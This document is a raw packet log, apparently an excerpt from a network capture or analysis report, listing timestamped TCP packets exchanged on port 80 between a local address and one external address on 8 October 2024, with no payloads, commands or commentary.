Oct 8, 2024 00:13:30.496392965 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496412992 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496419907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496443987 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496443987 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496449947 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496470928 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496474028 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496480942 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496481895 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496505022 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496505022 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496531010 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496587992 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496599913 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496611118 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496623993 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496635914 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496635914 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496639967 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496676922 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496681929 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496681929 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496690035 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496701002 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496715069 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496726036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496726036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496731043 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496767998 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496767998 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496776104 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496787071 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496798038 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496812105 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496824026 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496824026 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496850014 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496865034 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496880054 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496891022 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496906042 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.496912956 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496928930 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.496995926 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497006893 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497018099 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497030020 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497030973 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497031927 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497046947 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497059107 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497072935 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497085094 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497087002 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497087002 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497098923 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497128963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497128963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497183084 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497195959 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497206926 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497220039 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497226000 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497235060 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497253895 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497266054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497266054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497270107 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497296095 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497370005 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497371912 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497385979 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497396946 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497410059 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497422934 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497422934 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497426987 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497441053 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497445107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497453928 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497467995 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497479916 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497503996 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497545958 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497564077 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497575998 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497586012 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497597933 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497600079 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497611046 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497629881 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497649908 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497651100 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497734070 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497761011 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497771978 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497795105 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497807026 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497811079 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497811079 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497823954 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497839928 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497839928 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497844934 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497859955 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497872114 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497875929 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497875929 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497910023 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497910023 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497914076 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497925997 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.497963905 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497963905 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.497988939 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498001099 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498013020 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498023033 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498092890 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498092890 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498095036 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498107910 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498121023 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498125076 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498136044 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498151064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498157024 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498157024 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498188019 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498188019 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498188972 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498202085 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498214960 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498234034 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498234034 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498277903 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498348951 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498359919 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498372078 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498383045 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498413086 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498413086 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498424053 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498437881 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498444080 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498455048 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498471022 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498471975 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498486042 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498498917 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498523951 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498523951 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498543978 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498553038 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498558044 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498573065 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498584986 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.498594046 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498594046 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498625994 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.498625994 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.577925920 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.577950954 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.577960968 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578023911 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578035116 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578046083 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578057051 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578185081 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.578185081 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.578577042 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578588009 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578598976 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578609943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578624010 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578635931 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578641891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.578641891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.578650951 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.578927040 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.578927994 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579005003 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579015970 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579030991 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579052925 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579067945 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579078913 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579092026 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579107046 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579108000 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579108000 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579108000 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579108953 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579122066 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579133987 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579150915 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579174042 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579174042 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579174042 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579251051 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579303980 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579307079 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579320908 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579330921 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579344988 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579345942 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579356909 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579370975 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579402924 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579402924 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579407930 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579411983 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579426050 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579437971 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579493046 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579493046 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579493046 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579674959 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579705000 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579718113 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579730988 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579744101 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579746008 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579746008 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579781055 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579794884 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579817057 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579818010 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579818010 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579881907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579893112 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579904079 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579916954 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579933882 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579948902 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579962015 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579968929 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579968929 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579968929 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.579978943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.579992056 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580005884 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580059052 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580059052 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580059052 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580059052 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580087900 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580101967 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580112934 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580126047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580147982 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580147982 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580168962 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580180883 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580185890 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580193043 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580204010 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580209017 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580221891 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580235004 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580246925 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580259085 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580271006 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580277920 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580277920 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580277920 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580277920 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580415964 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580426931 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580441952 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580454111 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580454111 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580454111 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580456018 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580468893 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580482960 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580498934 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580513000 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580526114 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580538034 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580547094 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580547094 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580547094 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580547094 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580555916 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580564976 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580571890 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580579996 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580585957 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580594063 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580629110 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580630064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580630064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580749989 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580802917 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580813885 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580823898 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580864906 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580887079 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580887079 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580918074 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580929995 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580940962 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580965042 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580979109 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.580981016 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580981016 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580981016 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.580991030 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581011057 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581023932 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581041098 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581051111 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581051111 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581051111 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581053972 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581067085 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581082106 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581124067 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581124067 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581124067 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581151009 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581161976 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581180096 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581182003 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581185102 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581197023 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581227064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581227064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581269026 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.581301928 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.581304073 CEST	80	49704	185.215.113.37	192.168.2.8
